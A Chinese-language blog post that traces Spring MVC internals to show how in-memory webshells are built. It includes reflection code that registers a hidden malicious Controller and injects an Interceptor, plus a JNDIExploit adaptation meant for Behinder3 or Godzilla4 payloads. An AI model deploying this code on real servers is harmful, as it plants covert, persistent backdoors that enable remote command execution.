bean
是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC
容器负责实例化、配置、组装和管理的对象。
通俗来讲:
Spring 框架中,BeanFactory
接口是 Spring
IoC容器 的实际代表者。
从下面的接口继承关系图
中可以看出,ApplicationContext
接口继承了 BeanFactory
接口,并通过继承其他接口进一步扩展了基本容器的功能。
因此,org.springframework.context.ApplicationContext
接口也代表了 IoC容器
,它负责实例化、定位、配置应用程序中的对象(bean
)及建立这些对象间(beans
)的依赖。
IoC容器
通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml
、Java注解
或Java代码
来表示。
实现思路:
主要看一下ContextLoaderListener,DispatcherServlet在之前分析Thymeleaf的SSTI的时候就做了相关的分析
下面是一个典型 Spring 应用的 web.xml
配置示例:
<web-app xmlns:xsi="<a href=" http:="" www.w3.org="" 2001="" XMLSchema-instance"="" rel="nofollow">http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" version="2.5"> <display-name>HelloSpringMVC</display-name> <context-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext.xml</param-value> </context-param> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <servlet> <servlet-name>dispatcherServlet</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>dispatcherServlet</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> </web-app>
关于 Root Context
和 Child Context
的重要概念:
Context
,其中只有一个 Root Context
,剩下的全是 Child Context
Child Context
都可以访问在 Root Context
中定义的 bean
,但是Root Context
无法访问Child Context
中定义的 bean
Context
在创建后,都会被作为一个属性添加到了 ServletContext
中ContextLoaderListener
主要被用来初始化全局唯一的Root Context
,即 Root WebApplicationContext
。这个 Root WebApplicationContext
会和其他 Child Context
实例共享它的 IoC 容器
,供其他 Child Context
获取并使用容器中的 bean
。
回到 web.xml
中,其相关配置如下:
<context-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext.xml</param-value> </context-param> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener>
依照规范,当没有显式配置 ContextLoaderListener
的 contextConfigLocation
时,程序会自动寻找 /WEB-INF/applicationContext.xml
,作为配置文件,所以其实上面的 <context-param>
标签对其实完全可以去掉。
DispatcherServlet
初始化完成后,会创建一个普通的 Child Context
实例。
每个具体的 DispatcherServlet
创建的是一个 Child Context
,代表一个独立的 IoC 容器
;而 ContextLoaderListener
所创建的是一个 Root Context
,代表全局唯一的一个公共 IoC 容器
。
果要访问和操作 bean
,一般要获得当前代码执行环境的IoC 容器
代表者 ApplicationContext
。
所有的Context
在创建后,都会被作为一个属性添加到了 ServletContext
中
LandGrey师傅文中给出了4种获取当前上下文的思路
第一种:getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。 WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
第二种:WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦 WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
第三种:RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
第四种:getAttribute
// 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
先来看第一种获取方式,这里Spring环境为5.2.3.RELEASE
,该版本下的并没有getCurrentWebApplicationContext
方法,找的是findWebApplicationContext
方法作为替代。
源码如下,可以看出WebApplicationContext
是DispatcherServlet
类的属性WEB_APPLICATION_CONTEXT_ATTRIBUTE
@Nullable public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) { WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE); if (webApplicationContext == null) { if (servletContext != null) { webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext); } if (webApplicationContext == null) { webApplicationContext = ContextLoader.getCurrentWebApplicationContext(); } } return webApplicationContext; } @Nullable public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) { return findWebApplicationContext(request, request.getServletContext()); }
那么跟进DispatcherServlet
类中,WebApplicationContext
是在doService
方法中进行初始化的,doService
方法则是初始化一些全局属性之后进入doDispatch
方法处理Request
和Response
Spring 2.5 开始到 Spring 3.1 之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;
Spring 3.1 开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。
代码如下,使用的su18师傅的思路,通过获取RequestMappingHandlerMapping父类的MappingRegistry属性并调用register方法来注册恶意的Controller
@Controller public class AddControllerMemshell { @RequestMapping(value = "/addcontroller") public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{ final String controllerPath = "/zh1z3ven"; WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); f.setAccessible(true); Object mappingRegistry = f.get(mapping); Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"); Method[] ms = c.getDeclaredMethods(); Field field = c.getDeclaredField("urlLookup"); field.setAccessible(true); Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry); for (String urlPath : urlLookup.keySet()) { if (controllerPath.equals(urlPath)) { response.getWriter().println("controller url path exist already"); return; } } PatternsRequestCondition url = new PatternsRequestCondition(controllerPath); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null); Class<?> myClass = Util.getClass(CONTROLLER_CMDMEMSHELL_CLASS_STRING); for (Method method : ms) { if ("register".equals(method.getName())) { method.setAccessible(true); method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]); response.getWriter().println("spring controller add"); } } } }
在WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
代码处下断点跟进,首先是通过RequestContextHolder.currentRequestAttributes()
方法拿到Request
的封装类RequestFacade
对象
强转为ServletRequestAttributes
类型后调用getRequest
方法拿到当前的Request对象
之后作为参数进入到findWebApplicationContext
方法(Spring环境为5.2.3.RELEASE
,该版本下并没有getCurrentWebApplicationContext
方法,找的是findWebApplicationContext
方法作为替代)
findWebApplicationContext
方法源码如下,可以看出WebApplicationContext
是DispatcherServlet
类的属性WEB_APPLICATION_CONTEXT_ATTRIBUTE
@Nullable public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) { WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE); if (webApplicationContext == null) { if (servletContext != null) { webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext); } if (webApplicationContext == null) { webApplicationContext = ContextLoader.getCurrentWebApplicationContext(); } } return webApplicationContext; } @Nullable public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) { return findWebApplicationContext(request, request.getServletContext()); }
0x01 获取上下文
那么跟进DispatcherServlet
类中,WebApplicationContext
是在doService
方法中进行初始化的,doService
方法则是初始化一些全局属性之后进入doDispatch
方法处理Request
和Response
回头看findWebApplicationContext
方法,获取到的是一个XmlWebApplicationContext
实例类型的 Root WebApplicationContext
0x02 获取RequestMappingHandlerMapping
关于RequestMappingHandlerMapping
RequestMappingHandlerMapping的作用是在容器启动后将系统中所有控制器方法的请求条件(RequestMappingInfo)和控制器方法(HandlerMethod)的对应关系注册到RequestMappingHandlerMapping Bean的内存中,待接口请求系统的时候根据请求条件和内存中存储的系统接口信息比对,再执行对应的控制器方法。
直白一点讲就是处理Controller中在存在@RequestMapping注解的方法,当我们访问该注解中的值对应的url时,请求会进入相应的方法处理,而RequestMappingHandlerMapping类就是做的绑定@RequestMapping注解与相应Method之间的映射
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
最终进入DefaultListableBeanFactory#getBean方法,之后通过走resolveBean逻辑获取并return RequestMappingHandlerMapping实例对象
主要逻辑还是在DefaultListableBeanFactory#resolveNamedBean方法中,先是传入requiredType.toClass()
、beanName
、args
,走进getBean方法逻辑去获取 RequestMappingHandlerMapping
的实例化对象
getBean方法中单步调试过程有些多,就不贴图了,调用栈如下:
doGetBean:250, AbstractBeanFactory (org.springframework.beans.factory.support) getBean:227, AbstractBeanFactory (org.springframework.beans.factory.support) resolveNamedBean:1155, DefaultListableBeanFactory (org.springframework.beans.factory.support) resolveBean:416, DefaultListableBeanFactory (org.springframework.beans.factory.support) getBean:349, DefaultListableBeanFactory (org.springframework.beans.factory.support) getBean:342, DefaultListableBeanFactory (org.springframework.beans.factory.support) getBean:1126, AbstractApplicationContext (org.springframework.context.support)
最终调用getSingleton方法获取到了 RequestMappingHandlerMapping 的实例对象
之后new 了一个 NamedBeanHolder 将RequestMappingHandlerMapping
对象与beanName
一起作为的属性保存在NamedBeanHolder中
后续通过该对象的getBeanInstance方法获取到RequestMappingHandlerMapping并返回出来,至此也就拿到了RequestMappingHandlerMapping对象
0x03 反射获取mappingRegistry属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); f.setAccessible(true); Object mappingRegistry = f.get(mapping);
该属性为AbstractHandlerMethodMapping的内置类MappingRegistry对象,其中包含了regiester方法,后续添加contorller也是通过此方法
0x04 MappingRegistry#register
这里大致为两步,首先是构造RequestMappingInfo,其中包含了我们注册时需要的一些属性,其次是反射调用MappingRegistry#register方法将恶意的Controller给注册进去
因为是通过MappingRegistry#register方法注册Controller,我们简单来看一下一个正常的Controller是如何在代码中绑定@RequestMapping注解和对应Method方法的。
因为整个过程调用栈比较长,如果想从初始化开始一直到register方法会贴很多图,感兴趣的师傅可以根据su18师傅以及这篇文章去调试,相关调用栈如下
register:598, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler) registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation) registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation) lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) accept:-1, 2019467502 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$99) forEach:684, LinkedHashMap (java.util) detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler) afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation) invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support) getObject:-1, 924632896 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$56) getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support) doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support) getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support) preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support) finishBeanFactoryInitialization:878, AbstractApplicationContext (org.springframework.context.support) refresh:550, AbstractApplicationContext (org.springframework.context.support) configureAndRefreshWebApplicationContext:702, FrameworkServlet (org.springframework.web.servlet) createWebApplicationContext:668, FrameworkServlet (org.springframework.web.servlet) createWebApplicationContext:716, FrameworkServlet (org.springframework.web.servlet) initWebApplicationContext:591, FrameworkServlet (org.springframework.web.servlet)
这里直接来看AbstractHandlerMethodMapping#processCandidateBean方法
先通过if中的isHandler方法判断当前的beanType是否含有@Controller或者@RquestMapping注解
跟入detectHandlerMethods,首先获取handler的class对象,之后在lambda表达式中通过调用createRequestMappingInfo方法根据注解创建RequestMappingInfo对象,之后调用forEach循环遍历前面筛选出的method并调用registerHandlerMethod方法创建method与mapping之间的映射
而registerHandlerMethod方法最终是调用的MappingRegistry#register方法
register方法源码如下
public void register(T mapping, Object handler, Method method) { if (KotlinDetector.isKotlinType(method.getDeclaringClass()) && AbstractHandlerMethodMapping.KotlinDelegate.isSuspend(method)) { throw new IllegalStateException("Unsupported suspending handler method detected: " + method); } else { this.readWriteLock.writeLock().lock(); try { HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method); this.validateMethodMapping(handlerMethod, mapping); this.mappingLookup.put(mapping, handlerMethod); List<String> directUrls = this.getDirectUrls(mapping); Iterator var6 = directUrls.iterator(); while(var6.hasNext()) { String url = (String)var6.next(); this.urlLookup.add(url, mapping); } String name = null; if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) { name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping); this.addMappingName(name, handlerMethod); } CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping); if (corsConfig != null) { this.corsLookup.put(handlerMethod, corsConfig); } this.registry.put(mapping, new AbstractHandlerMethodMapping.MappingRegistration(mapping, handlerMethod, directUrls, name)); } finally { this.readWriteLock.writeLock().unlock(); } } }
register方法主要做的就是绑定method与mapping之间的映射
比如mappingLookup属性存储了mapping与handler method的映射关系
而在urlLookup中存储了url与mapping的映射关系
以及在registry中,存储了mapping与MappingRegistration对象的映射关系。
综上,在注册Controller时大致需要用到的具体的属性如下。
所以整个Spring Controller内存马注册的过程大致如下:
获取Context ==> 获取RequestMappingHandlerMapping ==> 获取MappingRegistry属性 ==> 构造RequestMappingInf(url,RequestMethodsRequestCondition ==> 调用MappingRegistry#register方法注册Controller
定义拦截器必须实现HandlerInterceptor接口,HandlerInterceptor接口中有三个方法:
拦截器就不再多说了,而关于拦截器的初始化与注册,其实在之前分析doDispatch方法文章里就有涉及到一点,这次深入跟一下。
断点直接打在DispatcherServlet#doDispatch方法,F9跳入getHandler方法中
该方法对HandlerMapping进行遍历,当某个HandlerMapping调用getHandler的返回结果HandlerExecutionChain对象不为null时,则将此HandlerExecutionChain对象return出去。
往下跟而其中mapping对象调用的getHandler方法为AbstractHandlerMapping#getHandler方法,而HandlerExecutionChain镀锡是通过调用getHandlerExecutionChain获取到的
继续跟进getHandlerExecutionChain方法,最终通过HandlerExecutionChain#addInterceptor方法添加的拦截器Interceptor
观察下面addInterceptor源码可发现,目前只要构造好一个实现HandlerInterceptor恶意Interceptor即可。
public void addInterceptor(HandlerInterceptor interceptor) { this.initInterceptorList().add(interceptor); }
那后续就是观察Interceptor是在哪里固定调用的哪一个方法,就类似于Tomcat中Filter的doFileter方法一样。
其实重点就是获取ApplicationContext
和requestMappingHandlerMapping
的adaptedInterceptors
属性,拿到adaptedInterceptors
属性后调add方法把我们恶意的拦截器添加进去即可。
看一下网上多数文章用到的注入拦截器的代码,copy自su18师傅,add
方法中那一串就是base64编码后的class文件的bytes数组,主要看思路。
大致是通过:
0x01: RequestContextUtils.findWebApplicationContext
获取Context
0x02: context.getBean(RequestMappingHandlerMapping.class)
获取RequestMappingHandlerMapping
0x03: 反射获取adaptedInterceptors
属性
0x04: list.add(HandlerInterceptor)
添加Interceptor
@Controller public class AddInterceptorMemshell { @RequestMapping(value = "/addinterceptor") public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors"); f.setAccessible(true); List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping); list.add((HandlerInterceptor) Util.getClass(Util.INTERCEPTOR_CMDMEMSHELL_CLASS_STRING).newInstance()); response.getWriter().println("interceptor added"); } }
剩下的就不测试了,类似于Controller,下面看下改JNDIExploit时遇到的小问题
feihong师傅的JNDIExploit项目中获取ApplicationContext思路如下:
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性 Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); // 2. 属性被 private 修饰,所以 setAccessible true field.setAccessible(true); // 3. 获取一个 ApplicationContext 实例 WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next();
而我在测试5.2.3的Spring时会抛出如下异常
[+] Add Dynamic Interceptor java.util.NoSuchElementException at java.util.LinkedHashMap$LinkedHashIterator.nextNode(LinkedHashMap.java:721) at java.util.LinkedHashMap$LinkedKeyIterator.next(LinkedHashMap.java:742)
暂时没找到原因,所以在改JNDIExploit时也是用的第一种获取Context的思路,重新拿反射写了一遍,大致代码如下(只测试了5.2.3版本Spring通过)
// 0x01 获取Context Class RCHClass = Class.forName("org.springframework.web.context.request.RequestContextHolder"); ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) RCHClass.getDeclaredMethod("currentRequestAttributes").invoke(RCHClass, null); // Method currentRequestAttributes = rctxh.getDeclaredMethod("currentRequestAttributes", null); Class SRAClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes"); Method getRequestMethod = SRAClass.getDeclaredMethod("getRequest"); Class RCUClass = Class.forName("org.springframework.web.servlet.support.RequestContextUtils"); Method findWebApplicationContextMethod = RCUClass.getMethod("findWebApplicationContext", HttpServletRequest.class); WebApplicationContext context = (WebApplicationContext) findWebApplicationContextMethod.invoke(RCUClass, getRequestMethod.invoke(servletRequestAttributes)); // 0x02 通过 context 获取 RequestMappingHandlerMapping 对象 RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); // 0x03 获取adaptedInterceptors并添加Interceptor Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors"); f.setAccessible(true); List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping); list.add((HandlerInterceptor) clazz.newInstance());
那么剩下的就是将Behinder3或者Godzilla4的Memshell base64字段替换一下即可。
Behinder3 Memshell
Godzilla4 Memshell
https://landgrey.me/blog/12/
https://landgrey.me/blog/19/
https://su18.org/post/memory-shell/
https://myzxcg.com/2021/11/Spring-内存马实现/
https://f5.pm/go-83042.html